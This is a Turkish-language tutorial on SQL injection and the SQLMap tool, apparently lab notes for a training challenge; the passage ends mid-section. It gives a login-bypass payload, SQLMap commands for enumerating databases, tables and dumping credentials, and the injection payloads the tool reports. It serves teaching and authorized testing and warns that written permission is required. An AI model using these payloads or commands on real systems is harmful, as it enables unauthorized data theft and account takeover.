

SQLMAP TEMELLERİ

[Kaynak](#)

İÇERİK

1. SQL Injection (SQLi) Temelleri
2. SQL Injection (SQLi) Zafiyeti: Mantıksal Analiz ve Sömürü (Exploitation)
3. Otomatize SQL Injection (SQLi) Sömürüsü: SQLMap Master Class
4. Uygulamalı SQLi Analizi ve Gelişmiş SQLMap Operasyonu
5. Sömürü (Exploitation) Evresi ve Laboratuvar Çözümleri

SQL Injection (SQLi) Temelleri

Veritabanı (Database) ve Uygulama Mimarisi Arasındaki İlişki

SQL Injection - SQLi (Web uygulamalarının veritabanı sorgularına dışarıdan zararlı veya manipüle edilmiş komutlar enjekte edilmesine olanak tanıyan, sistemin tüm kontrolünü ele geçirmeye kadar gidebilen kritik bir güvenlik zafiyeti), siber güvenlik ekosisteminin en köklü ve yaygın tehditlerinden biridir. Bu zafiyetin temel mekanizmasını ve arka plandaki teknik mantığını kavrayabilmek için öncelikle **Database** (Veritabanı - uygulamalara ait verilerin yapılandırılmış bir formatta depolandığı, değiştirildiği ve sorgulandığı mimariler) kavramını ve modern web uygulamalarının bu mimarilerle nasıl haberleştiğini eksiksiz anlamak zorundayız.

Bir **Database**, birden fazla uygulamanın ürettiği veya ihtiyaç duyduğu verileri yapısal bir bütünlük içinde tutar. Bu hiyerarşik yapı sayesinde verinin depolanması, güncellenmesi ve geri çağırılması (retrieval) süreci yüksek verimlilikle gerçekleştirilir. Gündelik analizlerimizde etkileşime girdiğimiz web sitelerinin büyük çoğunluğu, kullanıcıdan parametre alan (input fields) dinamik sayfalara sahiptir.

DİKKAT: Bir siber güvenlik uzmanı olarak bakış açımız şudur: Kullanıcıdan alınan her bir veri (input), arka plan sistemlerine uzanan potansiyel bir saldırı vektörüdür. Web uygulamaları, bu verileri işlemek üzere doğrudan arka plandaki veritabanına iletir.

Kimlik Doğrulama (Authentication) ve Veri Getirme (Data Retrieval) Mantığı

Sisteme giriş (login) yaparken girilen kimlik bilgileri (credentials), uygulamanın arka planında (backend) veritabanına iletilir. Uygulama, gönderilen kullanıcı adı ve parolanın veritabanındaki yetkili kayıtlarla eşleşip eşleşmediğini kontrol eder. İşlem ancak ve ancak eşleşme başarılıysa kimlik doğrulama sürecini (Authentication) onaylar.

Benzer şekilde, bir kitap satış sitesindeki arama çubuğu da veritabanı ile doğrudan ve dinamik bir etkileşim halindedir. Kullanıcı spesifik bir kitap aradığında, web uygulaması kullanıcının girdiği bu metni alır ve veritabanına, bu kriterlere uyan kayıtları (records) getirmesi için bir talep gönderir. Veritabanı sonucu web sunucusuna döndürür ve uygulama bu veriyi parse ederek (işleyerek) arayüzde kullanıcıya sunar.

Bu etkileşimi analitik olarak anlamak ve zafiyetin nerede doğduğunu görmek için arka planda çalışan tipik bir veri getirme sorgusunu (Query) simüle edelim:

```
SELECT * FROM books WHERE book_name LIKE '%kullanici_girdisi%';
```

(Yukarıdaki örnek sorgu, uygulamanın arama kutusundan aldığı "kullanici_girdisi" değerini veritabanındaki "books" tablosunda nasıl işlediğini gösterir. Eğer web uygulaması kullanıcının gönderdiği bu girdiyi herhangi bir filtrelemeden veya temizlemeden (sanitization) geçirmezse ve doğrudan bu SQL cümlesinin içine yerleştirirse, saldırgan tek tırnak (') gibi karakterlerle sorgu mantığını kırıp kendi zararlı komutlarını çalıştırabilir. Zafiyetin teknik kök nedeni tam olarak burasıdır.)

Veritabanı Yönetim Sistemleri (DBMS) ve SQL Entegrasyonu

Web uygulaması ile veritabanı arasındaki veri trafiği ve organizasyonu, **Database Management Systems - DBMS** (Veritabanı Yönetim Sistemleri - veritabanlarını oluşturmak, yönetmek, optimize etmek ve sorguları çalıştırmak için kullanılan çekirdek sistem yazılımları) tarafından yönetilir. Sızma testlerinde (Penetration Testing) veya kurumsal altyapılarda en sık karşılaştığımız DBMS hedefleri şunlardır:

- **MySQL**
- **PostgreSQL**
- **SQLite**
- **Microsoft SQL Server (MSSQL)**

Tüm bu sistemler, veritabanı motoru ile iletişim kurmak için endüstri standardı olan **SQL** (Structured Query Language - Yapılandırılmış Sorgu Dili) kullanır. Yani bir web uygulaması, kullanıcıdan aldığı komutu veritabanına iletmek istediğinde bunu arka planda bir SQL sorgusu (SQL Query) olarak inşa etmek ve DBMS'e bu dilde sunmak zorundadır.

Çalışmanın Teknik Hedefi

Bu laboratuvar ortamı ve çalışma kapsamı, hedefin veritabanı etkileşim mantığını nasıl kendi lehimize çevirebileceğime odaklanmaktadır. **SQL Injection** zafiyetinin anatomisi teorik olarak incelenecek, ardından manuel sömürü (exploitation) yöntemlerine ek olarak bu süreci otomatize eden araçların (automated tools) çalışma prensipleri, uygulamalı (hands-on) bir challenge üzerinden sistem ele geçirilene kadar detaylıca analiz edilecektir.

SQL Injection (SQLi) Zafiyeti: Mantıksal Analiz ve Sömürü (Exploitation)

ÖNEMLİ: Siber güvenlik operasyonlarında veya sızma testi (penetration testing) süreçlerinde, manuel sömürü (manual exploitation) veya otomatize zafiyet tarama araçlarının kullanımı, hedef sistem üzerinde geri döndürülemez veri bozulmalarına (data corruption) yol açabilir. Bu nedenle, hedef uygulamanın sahibinden yasal ve yazılı izin (Rules of Engagement - RoE kapsamında) alınmadan hiçbir vektör (saldırı yöntemi) denenmemelidir.

Kimlik Doğrulama (Authentication) Sürecinin Standart Akışı

Bir web uygulamasının arka planında (backend) çalışan veritabanı etkileşimini tam olarak anlayabilmek için, meşru (legitimate) bir kullanıcının sisteme giriş sürecini analiz etmeliyiz. Varsayalım ki bir giriş formuna (login page) aşağıdaki meşru bilgileri gönderiyoruz:

- Username: **John**
- Password: **Un@detectable444**

Web uygulaması (örneğin PHP veya Node.js ile yazılmış arka plan kodu), bu girdileri (inputs) alır ve doğrudan veritabanı motoruna (DBMS) iletmek üzere aşağıdaki SQL sorgusunu (SQL Query) inşa eder:

```
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';
```

(Yukarıdaki sorgu veritabanına ulaştığında, motor `users` tablosunu taramaya başlar. Bu sorgunun yapıtaşı `AND` (VE) mantıksal operatörüdür (boolean operator). Sistemin başarılı bir sonuç döndürmesi için, veritabanındaki bir kaydın (satırın) hem **John** kullanıcı adına, hem de birebir **Un@detectable444** parolasına sahip olması zorunludur. Eğer bu iki koşul aynı anda sağlanmazsa, sorgu başarısız olur ve uygulama erişimi reddeder.)

Zafiyetin Kök Nedeni: Girdi Doğrulama (Input Validation) Zafiyeti

Sistemler, kullanıcıdan gelen girdileri "güvenilmez" (untrusted) olarak kabul etmelidir. Eğer bir uygulama, kullanıcının gönderdiği veriyi **Input Validation** (Girdi doğrulama - verinin beklenen formatta olup olmadığının kontrolü) veya **Input Sanitization** (Girdi temizleme - zararlı olabilecek özel karakterlerin, örneğin tırnak işaretlerinin (') zararsız hale getirilmesi/filtrelenmesi) işlemlerinden geçirmezse, doğrudan SQL komutlarının içine gömer.

Bu durum, saldırganın (attacker) sıradan bir metin kutusuna, veritabanı tarafından doğrudan komut olarak algılanıp çalıştırılacak (execute edilecek) zararlı metinler (Payload) enjekte etmesine olanak tanır. Başarılı bir SQLi, kurumların en kritik verilerini barındıran sistemlerin tamamen ifşa olmasına (data breach) yol açar.

Authentication Bypass (Kimlik Doğrulama Atlama) Saldırısının Anatomisi

Eğer arka planda bir sanitization (temizleme) mekanizması yoksa, bir saldırgan **John** kullanıcısının parolasını bilmese bile sisteme sızabilir. Saldırganın hedefi, arka planda çalışan ve "Kullanıcı adı ve parola eşleşmeli" diyen sıkı **AND** mantığını kırmaktır.

Bunun için giriş formuna şu manipüle edilmiş değerleri göndeririz:

- Username: **John**
- Password: **abc' OR 1=1;-- -**

Bu girdiler arka plan koduna ulaştığında, web uygulamasının savunmasız yapısı gereği SQL sorgusu şu şekle dönüşür:

```
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -
```

(Bu çıktının arka plandaki teknik anlamını ve sistemin nasıl ele geçirildiğini satır satır ve mantıksal bir zincirle inceleyelim:)

1. Veri Bağlamından Çıkış (String Breakout): Saldırganın parolaya eklediği ilk karakter olan tek tırnak ('), bu saldırının tetikleyicisidir. Normal şartlarda veritabanı 'abc...' kısmının tamamını düz bir metin (string) olarak okuyacakken, saldırgan kasıtlı olarak araya ' işareti koyar. Bu hamle, veritabanına "Parola girdisi burada bitti, bundan sonra gelecek olanları düz metin olarak değil, veritabanı komutu (SQL statement) olarak işle" mesajını verir. Eğer bu tek tırnak olmasaydı, tüm payload (abc' OR 1=1;-- -) uygulamanın gözünde başarısız bir parola denemesi olmaktan öteye gidemezdi.

2. Mantıksal Manipülasyon (Tautology): Bağlamdan (context) başarıyla çıkıldıktan sonra saldırgan OR 1=1 (VEYA 1 eşittir 1) ifadesini enjekte eder. SQL mantığında sorgu soldan sağa işlenir. Sorgu önce **John** kullanıcısını ve onun parolasının **abc** olup olmadığını (AND koşulu) kontrol eder. Elbette bu başarısız olur çünkü parola yanlıştır (False). Ancak hemen ardından OR (VEYA) koşulu devreye girer. OR operatörü, öncesindeki koşul başarısız (False) olsa bile, sonrasındaki koşul başarılıysa (True) tüm sorguyu başarılı kabul eder. 1=1 matematiksel olarak her zaman doğru (Tautology - Daima doğru olan mantıksal ifade) olduğu için, veritabanı parola kontrolünün başarısızlığını görmezden gelir ve sorguyu "Başarılı" (True) olarak değerlendirir.

3. Sorgu Bütünlüğünü Koruma (Commenting Out): Payload'ın sonundaki -- - (SQL Yorum Satırı - Comment out) çok kritik bir parametredir. Web uygulamasının arka plan kodu, parolanın sonuna kendi belirlediği bir kapatma tek tırnağı (' ;) eklemek üzere programlanmıştır. Eğer biz payload'ımızı yazıp bıraksaydık, kodun eklediği o son tek tırnak SQL syntax'ını (yazım kuralını) bozacak ve sistem "Syntax Error" vererek çökecek, işlem başarısız olacaktı. -- - kullanarak veritabanına şunu söylüyoruz: "Bu noktadan sonra gelen

her şeyi (kodun kendi eklediği tek tırnak dahi olsa) tamamen görmezden gel ve işlememe dahil etme."

Sonuç: Bu mantık zincirinin kusursuz işlemesi sonucunda veritabanı, parolanın doğruluğunu umursamadan sorguyu onaylar. Web uygulaması da veritabanından gelen bu "Onay" (True) yanıtını alarak, saldırgana **John** kullanıcısının hesabıyla (hatta genellikle sistemdeki ilk kayıt olan Admin hesabıyla) tam yetkili bir oturum açar (Session Hijack / Auth Bypass).

Otomatize SQL Injection (SQLi) Sömürüsü: SQLMap Master Class

SQLMap Mimarisi ve Otomasyonun Mantığı

Manuel **SQL Injection** (SQLi) sömürüsü (exploitation) temel prensipleri anlamak için kritik olsa da, modern web uygulamalarındaki karmaşık veritabanı mimarilerinde her bir parametreyi, tabloyu veya sütunu elle test etmek devasa bir zaman kaybıdır. Bu noktada sektör standardı olan **SQLMap**, web uygulamalarındaki SQLi zafiyetlerini tespit etmek (detection) ve sömürmek (exploitation) için geliştirilmiş, arka planda yüzlerce farklı **Payload** (hedef sistemde istenen eylemi gerçekleştirmek için tasarlanmış zararlı kod parçacığı) ve atlatma (bypass) tekniği barındıran güçlü bir otomasyon aracıdır.

Sızma testlerinde (Penetration Testing) temel terminal komut satırı üzerinden çalıştırılan bu araç, Linux dağıtımlarında genellikle yüklü gelir. Tüm parametrelerin (flags) anatomisini incelemek için `sqlmap --help` komutu kullanılır. Süreci adım adım öğrenmek isteyen bir analist, araca `--wizard` (Sihirbaz - aracı interaktif bir soru-cevap modunda çalıştıran parametre) parametresini vererek hedef URL ve sömürü agresifliği gibi ayarları manuel girmeden belirleyebilir.

Test Metodolojileri: GET, POST ve Yetkilendirilmiş (Authenticated) Oturumlar

Hedef uygulamada veri çekmek için URL üzerinde iletilen GET parametreleri bulunuyorsa (örneğin `http://sqlmaptesting.thm/search?cat=1` adresindeki `cat` parametresi), SQLMap bu parametrenin zafiyet barındırıp barındırmadığını test etmek için `-u` (URL) flag'ini kullanır. Buna "HTTP GET tabanlı test" denir.

ÖNEMLİ: Gerçek dünya senaryolarında her zafiyet halka açık bir URL'de kabak gibi ortada durmaz. Hedef sistemin kritik arama veya veri çekme fonksiyonları genellikle bir giriş ekranının (login) arkasındadır. Eğer SQLMap'e sadece `-u` ile yetki gerektiren bir sayfanın URL'sini verirseniz, sunucu aracı doğrudan 302 Redirect ile giriş sayfasına yönlendirecek veya 403 Forbidden hatası verecektir.

Bu senaryodaki B Planımız, tarayıcı üzerinden sisteme meşru bir kullanıcı gibi giriş yapmak, oturum çerezini (Session Cookie - kullanıcının kimliğini doğrulayan geçici anahtar, örn: PHPSESSID) kopyalamak ve SQLMap'e `--cookie="SESSIONID=abcdef123456"`

parametresi ile vermektir. Bu sayede SQLMap, hedef uygulamayla tamamen yetkilendirilmiş bir kullanıcı bağlamında (context) etkileşime girer.

Hedefin Zafiyet Tespiti ve Ağ Analizi

Varsayılan senaryomuzda, GET parametresi kullanan potansiyel olarak savunmasız bir arama fonksiyonunu hedefliyoruz. İlgili URL'yi SQLMap'e verdiğimizde aracın arka planda kurduğu mantık zincirini adım adım okuyalım:

```
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1

[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset 'ascii'
[08:43:49] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter 'cat' is dynamic
...
[08:45:04] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND
time-based blind' injectable
...
[08:45:08] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to
20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
```

Yukarıdaki çıktı salt bir sonuç ekranı değil, bir istihbarat raporudur. SQLMap ilk olarak hedefin ayakta olup olmadığını kontrol eder. Ardından hedefte bir **WAF/IPS/IDS** (Web Application Firewall / Intrusion Prevention System - Zararlı web trafiğini engelleyen güvenlik sistemleri) olup olmadığını analiz eder. Eğer WAF varsa, SQLMap'ın varsayılan payload'ları engellenecektir ve bizim `--tamper` (WAF atlatma betikleri) kullanmamız gerekecektir.

Araç daha sonra sayfa içeriğinin stabil olup olmadığını (sürekli değişen dinamik bir yapı zafiyet tespitini zorlaştırır) ve `cat` parametresinin dinamik bir tepki verip vermediğini test eder. Nihayetinde parametrenin zafiyetli olduğunu teyit eder ve testi derinleştirme onayı ister.

Aracın keşfettiği payload türleri zafiyetin anatomisini ortaya koyar:

```
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2175=2175

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
  BY clause (EXTRACTVALUE)
```

```
Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT
(ELT(1846=1846,1))))),0x7170766a71))
```

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: cat=1 AND SLEEP(5)

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: cat=1 UNION ALL SELECT CONCAT(...),NULL,NULL...

Bu logların arka plandaki teknik anlamı şudur: SQLMap bu URL üzerinde tam 4 farklı SQLi metodolojisi bulmuştur:

1. **Boolean-based blind:** Sorguya eklenen `AND 1=1` veya `AND 1=2` gibi her zaman doğru veya her zaman yanlış olan ifadelerle uygulamanın HTTP yanıtındaki farklılıkları (örneğin sayfanın boyutunun değişmesi veya içeriğin kaybolması) analiz ederek veri çeker.
2. **Error-based:** Kasıtlı olarak sentaks hatası yaratılır (örneğin `EXTRACTVALUE` fonksiyonu istismar edilerek). Dönen hata mesajının içine veritabanı versiyonu veya tablo adları sızdırılır.
3. **Time-based blind:** Ekranda hiçbir değişiklik olmuyorsa (tamamen kör senaryo), `SLEEP(5)` komutu gönderilir. Eğer sunucu yanıt vermek için 5 saniye beklerse, komutun arka planda başarıyla çalıştığı ve zafiyetin var olduğu mutlak olarak kanıtlanır.
4. **UNION query:** Orijinal sorgunun sonuçlarına saldırganın kendi `SELECT` sorgusunun sonuçlarını eklemesini sağlar. `NULL` değerleri ile hedef tablodaki kolon sayısı eşleştirilmiş ve veri sızdırma hattı kurulmuştur.

Enumeration (Bilgi Toplama) Evresi: Veritabanlarını İfşa Etme

Zafiyet doğrulandıktan sonra, körü körüne saldırmak yerine sistematik bir **Enumeration** (Veritabanı yapısını, tabloları ve kullanıcıları haritalandırma) süreci başlatılır. Hedefteki veritabanı isimlerini listelemek için `--dbs` (Databases) flag'i kullanılır.

```
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs
```

```
[08:49:00] [INFO] resuming back-end DBMS 'mysql'
```

```
[08:49:01] [INFO] the back-end DBMS is MySQL
```

```
web server operating system: Linux Ubuntu
```

```
web application technology: Nginx, PHP 5.6.40
```

```
back-end DBMS: MySQL >= 5.1
```

```
[08:49:01] [INFO] fetching database names
```

```
available databases [2]:
```

```
[*] users
```

```
[*] members
```

DİKKAT: Çıktıdaki `resuming back-end DBMS 'mysql'` satırı çok kritiktir. SQLMap, önceki taramalarda elde ettiği verileri (session bilgisi, zafiyetli parametre, backend DBMS tipi) lokalinde klasörler halinde saklar (Önbelleğe alır). Bu sayede hedefe tekrar tekrar gereksiz payload gönderip ağı gürültüye boğmaz (Stealth/Gizlilik prensibi). Çıktı sonucunda arka plandaki Nginx/PHP mimarisi ifşa edilmiş ve sistemdeki `users` ile `members` veritabanları tespit edilmiştir.

Tablo Yapılarının Çıkarılması

Sistemin kalbine doğru ilerlerken, tespit edilen `users` veritabanının içindeki tabloları haritalamamız gerekir. Belirli bir veritabanını işaret etmek için `-D` (Database), o veritabanının tablolarını listelemek için ise `--tables` flag'i kullanılır.

```
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables
```

```
[08:50:46] [INFO] fetching tables for database: 'users'
Database: acuart
[3 tables]
+-----+
| johnath |
| alexas  |
| thomas  |
+-----+
```

(Not: Eğitim materyali çıktısında "Database: acuart" yazması muhtemelen laboratuvar ortamındaki bir konfigürasyon hatası veya log yansımasıdır, ancak mantık `-D` ile belirtilen hedefin altındaki 3 farklı kullanıcı isimli tablonun başarıyla dökülmüş olmasıdır.)

Veri Sızıntısı (Data Dumping) ve Parola Kırma (Cracking)

Tabloları elde ettikten sonra sıra nihai hedefe, yani tablonun içindeki satırları/verileri ele geçirmeye gelir. Sadece ilgilendiğimiz tablodaki verileri çekmek (dump etmek) için veritabanını `-D` ile, tablo adını `-T` (Table) ile belirtir ve süreci `--dump` flag'i ile başlatırız.

```
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users -T thomas --dump
```

```
[08:51:49] [INFO] fetching entries for table 'thomas' in database 'users'
[08:51:49] [INFO] recognized possible password hashes in column 'passhash'
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+-----+-----+-----+
```


Date	name	pass
09/09/2024	Thomas THM	testing

Bu logda sistemin analitik zekasını görüyoruz. SQLMap veriyi çekerken `passhash` isimli bir sütun fark etmiş ve içindeki verilerin birer "Hash" (parolaların kriptografik olarak özetlenmiş, tek yönlü şifrelenmiş hali) olduğunu algılamıştır. Bize anında iki soru sorar: "Bunları daha sonra Hashcat/John The Ripper gibi araçlarla kırmak üzere bir dosyaya kaydedeyim mi?" ve "Kendi içimdeki kelime listesiyle (dictionary attack) anında kırmayı deneyeyim mi?". Laboratuvar ortamında parola muhtemelen açık metin (cleartext) olduğu veya hız amaçlı geçildiği için 'n' (hayır) yanıtı verilmiş ve tablodaki `testing` parolası ifşa edilmiştir.

Plan B: POST Metodu ve İstekleri Yakalama (Intercepting)

Bir sızma testinde her zafiyet tarayıcının URL çubuğunda (GET) barınmaz. Kullanıcı adı, parola kaydı, form gönderimi gibi işlemler genellikle güvenlik ve veri boyutu nedeniyle **POST** HTTP metodu kullanılarak mesajın gövdesinde (body) gönderilir.

Eğer saldırmak istediğimiz form bir POST isteği ise, `http://...` şeklinde URL vermek işe yaramayacaktır. Bu durumda yapılması gereken profesyonel hamle şudur:

1. Tarayıcı trafiği **Burp Suite** veya **OWASP ZAP** gibi bir proxy aracıyla yakalanır (Intercept).
2. Zafiyet barındırdığından şüphelenilen formun gönderildiği Raw HTTP POST isteği eksiksiz kopyalanır ve lokalde bir `.txt` dosyasına (örneğin `intercepted_request.txt`) kaydedilir.
3. SQLMap `-r` (Read File / Request) flag'i ile doğrudan bu istek dosyasına yönlendirilir:

```
user@ubuntu:~$ sqlmap -r intercepted_request.txt
```

Bu komut sayesinde SQLMap, dosyanın içindeki User-Agent, Cookie, Body verileri ve HTTP başlıklarının tamamını parse eder, içindeki tüm parametreleri teker teker injection testine tabi tutar. Bu yöntem, web uygulamalarının karmaşık giriş formlarını veya API uç noktalarını (endpoints) analiz etmenin en sağlam ve profesyonel yoludur.

Uygulamalı SQLi Analizi ve Gelişmiş SQLMap Operasyonu

1. Görünmez Atak Yüzeyleri: Gizli GET Parametrelerinin (Network Tab) Tespiti

Bir önceki aşamada parametrelerin doğrudan tarayıcının URL çubuğunda (`/search?cat=1`) görüldüğü senaryoları incelemiştik. Ancak modern web uygulamaları (özellikle AJAX, Fetch API veya arka planda asenkron çalışan form yapıları), GET isteklerini tarayıcının adres çubuğuna yansıtmadan doğrudan arka plan servislerine (backend endpoints) iletebilir.

Bu durumda, uygulamanın kullandığı gizli API uç noktalarını ve aldığı parametreleri bulmak için tarayıcının **Developer Tools (Geliştirici Araçları) -> Network (Ağ)** sekmesi kullanılır. Sisteme meşru veya sahte bir veri (örn: test - test) girip butona basıldığında, Network sekmesinden arka planda giden saf HTTP isteği yakalanır (Intercept). Bu senaryoda ele geçirdiğimiz hedef uç nokta (endpoint) şudur:

```
http://10.113.130.44/ai/includes/user_login?email=test&password=test
```

2. Terminal Ortamında URL Sanitizasyonu (Tırnak İşareti Mantığı)

Komut satırında (Bash/Zsh) SQLMap çalıştırırken, parametreleri ayırmak için kullanılan ampersand (&) işareti, Linux terminali tarafından "bu komutu arka planda çalıştır (background process)" şeklinde yorumlanır. Eğer URL'yi çıplak bir şekilde terminale yapıştırırsak, işletim sistemi URL'yi & işaretinin olduğu yerden böler, hedef bozulur ve SQLMap hata verir. Bu kritik sentaks hatasını önlemek için hedef URL mutlaka **tek tırnak** (' . . . ') içine alınarak işletim sistemine "bunu bir bütün olarak (string) oku, içindeki özel karakterleri işleme" komutu verilmelidir.

3. Derinlemesine Tarama (In-Depth Scan): --level=5 Parametresi

Standart bir sqlmap taraması, süreci hızlandırmak ve ağda fazla gürültü yaratmamak (stealth) için sadece temel GET/POST parametrelerini ve sınırlı sayıda payload'ı (Level 1) test eder. Ancak zorlu hedeflerde bu yeterli olmaz. Komutun sonuna eklediğimiz --level=5 parametresi, aracın agresiflik seviyesini maksimuma çıkarır. Bu seviyede SQLMap yalnızca URL parametrelerini değil; **HTTP Host başlığını, Cookie'leri, User-Agent ve Referer** başlıklarını dahi SQLi vektörleri ile test eder ve veritabanı motorunun en derindeki tepkilerini ölçmek için binlerce farklı payload (sınır denemeleri, karmaşık UNION sorguları) dener.

4. Operasyonel Diyaloglar ve Hedef Optimizasyonu

Tarama sırasında --level=5 kullanıldığı için SQLMap sistemi yormamak ve hedefe kilitlenmek adına analiste kritik optimizasyon soruları sorar. Bu diyalogların arka plandaki teknik anlamları şunlardır:

- **DBMS Tespiti** (skip test payloads specific for other DBMSes? [Y/n] y): Sistem hedefin bir **MySQL** olduğunu anlar. Oracle veya MSSQL gibi diğer veritabanı motorlarına özel payload'ları gönderip zaman kaybetmeyi engellemek için taramayı MySQL üzerine daraltırız.
- **Risk Artırımı** (extending provided risk (1) value? [Y/n] y): Veritabanına daha agresif ve manipülatif (örneğin heavy-query veya update içeren) payload'ların gönderilmesine onay veriz.
- **UNION Null Değer Bypass'ı** (try with a random integer value for option '--union-char'? [Y/n] y): Bazen tablolar veri türü kısıtlamalarına (constraint) sahiptir ve standart NULL değerini kabul etmez. Araç bu defansı aşmak için NULL yerine rastgele tam sayılar (integer) enjekte etmeyi teklif eder.

- **Erken Çıkış** (Do you want to keep testing the others? [y/N] n): Araç email parametresinin zafiyetli olduğunu (vulnerable) %100 doğruladıktan sonra password parametresini de test etmeyi teklif eder. Zaten içeri giden bir yol bulduğumuz için zaman tasarrufu adına hayır deriz.

Sömürü (Exploitation) Evresi ve Laboratuvar Çözümleri

Sistemin tepesindeki tüm veritabanlarını listelemek için `--dbs` parametresi kullanılır.

```
sqlmap -u 'http://10.113.130.44/ai/includes/user_login?email=test&password=test' --dbs --level=5
```

Çıktının İlgörü Analizi: Komut çalıştırıldıktan sonra sistemdeki varsayılan veritabanları (information_schema, mysql, performance_schema, phpmyadmin, test) ve hedefin asıl veritabanı (ai) olmak üzere tüm yapılar ifşa edilir. Detaylıca anlatmak gerekirse;

SQLMap Heuristic Analizi ve İnteraktif Optimizasyon Süreci

Bir sızma testinde (Penetration Testing) otomatize araçlar körü körüne çalıştırılmaz. SQLMap'ın `--level=5` (Maksimum test derinliği) ile çalıştırıldığı bu agresif taramada araç, ağa binlerce anlamsız paket göndermek yerine **Heuristic** (Sezgisel) testler yapar ve hedefin mimarisini analiz ettikçe analiste kritik kararlar (Y/N) sorar.

Çıktıda karşılaştığın ve onayladığın/reddettiğin her bir sorunun (prompt) arka plandaki teknik anlamını ve veri tabanındaki yansımalarını satır satır inceleyelim:

1. DBMS İzolasyonu ve Ağ Gürültüsünü Azaltma

```
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
```

Teknik Anlamı: SQLMap gönderdiği ilk temel problemlerle (örneğin ufak matematiksel hatalar yaratarak dönen HTTP yanıtını analiz etme) hedefin arkasındaki motorun kesinlikle bir **MySQL** olduğunu (MariaDB fork) parmak izinden (fingerprinting) tanımıştır. **Neden "Y" dedik?:** Hedefin MySQL olduğunu bildiğimiz halde Oracle, PostgreSQL veya Microsoft SQL Server'a özel payload'ları hedefe göndermek devasa bir zaman kaybıdır ve hedefin WAF/IDS (Güvenlik Duvarı/Saldırı Tespit Sistemi) loglarında gereksiz bir gürültü (noise) yaratır. "Y" (Evet) diyerek test kapsamını (scope) sadece MySQL mimarisine daraltırız.

2. Risk Seviyesinin Agresifleştirilmesi

```
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] Y
```

Teknik Anlamı: `--level=5` parametresi aracın *nerelere* bakacağını (User-Agent, Cookie, Host başlıkları vb.) genişletir. Ancak **Risk** parametresi, aracın hedefe *ne kadar tehlikeli*

payload'lar göndereceğini belirler. Varsayılan risk seviyesi 1'dir. **Neden "Y" dedik?:** Hedefin MySQL olduğundan emin olduğumuz için, SQLMap bize şunu sorar: *"MySQL için elimdeki daha riskli (örneğin Heavy-Query dediğimiz sistemi yoran sorgular veya UPDATE/DELETE barındıran manipülatif kodlar) payload'ları da deneyeyim mi?"*. "Y" diyerek derinlemesine sömürüye onay veririz.

3. UNION Sorgularında Veri Tipi ve Kısıtlama (Constraint) Atlama (Bypass)

```
do you want to (re)try to find proper UNION column types with fuzzy test?
[y/N] Y injection not exploitable with NULL values. Do you want to try with
a random integer value for option '--union-char'? [Y/n] Y
```

Teknik Anlamı: En hızlı ve net veri çekme yöntemi olan **UNION Based SQLi**, saldırganın sorgusu ile orijinal sorgunun kolon sayısının ve veri tiplerinin birebir eşleşmesini gerektirir. SQLMap normalde kolonları eşitlemek için standart `NULL` değerini kullanır (Örn: `UNION SELECT NULL, NULL, NULL`). Ancak hedef veritabanındaki tablolarda **NOT NULL constraint** (Boş bırakılamaz kısıtlaması) varsa, `NULL` payload'ları veritabanından hata döner ve sömürü başarısız olur. **Neden "Y" dedik?:** "Y" diyerek SQLMap'ın `NULL` kullanmaktan vazgeçmesini, bunun yerine rastgele tam sayılar (random integer value, örn: `75`) kullanarak (Örn: `UNION SELECT 75, 75, 75`) veri tipi engellerini aşmasını (Fuzzy testing) sağladık.

4. Erken Çıkış (Early Exit) ile Zaman Tasarrufu

```
GET parameter 'email' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] N
```

Teknik Anlamı: Sistem, `email` parametresi üzerinden içeri sızmanın bir değil, tam üç farklı yolunu bulmuştur. URL'deki diğer parametre olan `password` 'ü test edip etmemeyi sorar.

Neden "N" dedik?: Sistemde tam yetki (Code Execution veya Data Dumping) elde etmek için tek bir zafiyetli giriş noktası yeterlidir. Veri tabanına `email` kapısından zaten girebildiğimiz için, `password` parametresini test ederek fazladan HTTP isteği atmak ve zaman kaybetmek anlamsızdır. "N" (Hayır) diyerek taramayı sonlandırır ve sömürü aşamasına geçeriz.

Tespit Edilen Payload'ların (Saldırı Vektörlerinin) Anatomisi

Diyaloglardan sonra SQLMap, `email` parametresinde çalışan 3 farklı saldırı tipini loglamıştır. Bunlar hedefin nasıl kırıldığının kanıtlarıdır:

1. Boolean-based blind (Mantıksal Kör Enjeksiyon):

```
email=test' AND 3122=(SELECT (CASE WHEN (3122=3122) THEN 3122 ELSE (SELECT
4791 UNION SELECT 5129) END))-- qdnD
```

Açıklama: Tek tırnak (') ile bağlamdan çıkıldıktan sonra bir alt sorgu (Subquery) çalıştırılmıştır. CASE WHEN mantığı ile sistem, 3122=3122 (doğru) ise farklı, yanlış ise farklı bir yanıt verecek şekilde zorlanmıştır. HTTP yanıtındaki bayt farklılıkları üzerinden veritabanı "Evet/Hayır" sorularıyla sömürülür.

2. Error-based (Hata Tabanlı Enjeksiyon):

```
